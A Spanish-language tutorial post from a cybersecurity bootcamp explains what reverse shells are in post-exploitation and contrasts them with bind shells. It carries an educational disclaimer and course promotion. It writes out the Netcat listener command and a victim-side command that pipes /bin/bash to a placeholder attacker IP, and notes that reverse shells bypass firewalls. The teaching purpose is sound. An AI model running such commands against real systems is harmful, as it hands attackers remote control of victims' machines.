¿Cómo ejecutar una shell inversa?

Autor: | Última modificación: 10 de noviembre de 2022 | Tiempo de Lectura: 3 minutos
Temas en este post: ,

Algunos de nuestros reconocimientos:

Premios KeepCoding

¿Sabes cómo ejecutar una shell inversa con Netcat en Kali Linux?

El siguiente tutorial sobre cómo ejecutar una shell inversa con Kali Linux está hecho con fines educativos. Utilizar técnicas de hacking web en entornos no autorizados se considera un delito en la mayoría de países. Por lo tanto, es necesario aprender a practicar estos conocimientos en entornos legales diseñados especialmente para ello. De este modo, no se perjudica a nadie en el proceso.

Contexto sobre pentesting

El pentesting es una rama de la ciberseguridad que consiste en aplicar técnicas de hacking para descubrir las vulnerabilidades de un sistema. Para ello, es necesario entender cómo actúan los ciberatacantes; es decir, cómo se identifican y explotan los fallos de seguridad de un software, una red o una aplicación web.

Existen diferentes tipos de vulnerabilidades informáticas y métodos para explotarlas. En otras palabras, hay una gran variedad de fallos de seguridad y técnicas para utilizarlos como puerta de acceso al sistema de una víctima. No obstante, en el pentesting también es importante entender el proceso que ocurre después de la explotación.

La postexplotación es una etapa del pentesting para la que un atacante ya debe haber ingresado al sistema explotando alguna vulnerabilidad. Durante esta fase, un hacker malicioso ejecuta tareas como:

  • Escalada de privilegios.
  • Movimiento lateral por la red.
  • Despliegue de código maligno.
  • Exflitración de datos.
  • Ejecución remota de código.

En la postexplotación, es muy común que los atacantes ejecuten comandos de forma remota en el ordenador de una víctima. En este post, veremos una técnica especialmente para ello. A continuación, te explicaremos cómo ejecutar una shell inversa.

¿Cómo ejecutar una shell inversa?

Una shell inversa es una terminal de comandos que sirve para ejecutar código en el ordenador de una víctima por medio de conexiones de tipo TCP o UDP. El sistema operativo para pentesting, Kali Linux, tiene un programa preinstalado, llamado Netcat, que permite establecer este tipo de conexiones entre máquinas.

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Así pues, en pentesting, Netcat es el programa más utilizado para ejecutar shells, que pueden ser inversas o directas. En una shell inversa, el ordenador de la víctima se conecta al del atacante, mientras que en una shell directa sucede al contrario. Antes de ver las implicaciones de esta diferencia, veremos cómo ejecutar una shell inversa.

Comandos

Para ejecutar una shell inversa, es necesario ejecutar ciertos comandos en los ordenadores del atacante y la víctima.

  • En el ordenador del atacante, se ejecuta el siguiente comando, con el fin de poner un puerto a la escucha:
nc -lvp 4444

Esto se ve del siguiente modo en la consola:

¿Cómo ejecutar una shell inversa?
  • En el ordenador de la víctima, se ejecuta el siguiente comando, con el fin de que se conecte al puerto del atacante:
nc <Dirección IP del atacante> 4444 -e /bin/bash

En consola, se vería así:

¿Cómo ejecutar una shell inversa?
  • Esto producirá el siguiente resultado en la terminal del atacante:
¿Cómo ejecutar una shell inversa?
  • Así pues, notarás que puedes ejecutar cualquier comando de Linux para realizar acciones dentro del ordenador comprometido. Por ejemplo:
¿Cómo ejecutar una shell inversa?

Diferencia entre shell inversa y directa

Ya hemos visto cómo ejecutar una shell inversa con Netcat. Como decíamos anteriormente, la diferencia entre una shell inversa y directa consiste en que, en la primera, la víctima se conecta al atacante; en la segunda, es el atacante quien se conecta al objetivo.

Casi siempre, en hacking web, se utilizan las conexiones inversas, ya que de este modo se logran evitar medidas de seguridad como los firewalls. Entonces, en ciberataques, el proceso descrito en este post es el más común para esta técnica de postexplotación.

¿Cómo aprender más?

Ya hemos visto cómo ejecutar una shell inversa con Kali Linux. Si quieres aprender más sobre técnicas de pentesting, en KeepCoding tenemos el curso intensivo ideal para ti. Entra a nuestro Ciberseguridad Full Stack Bootcamp y descubre cómo especializarte en tan solo 7 meses. ¡No sigas esperando e inscríbete ahora!

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | Profesores en Activo | Temario 100% actualizado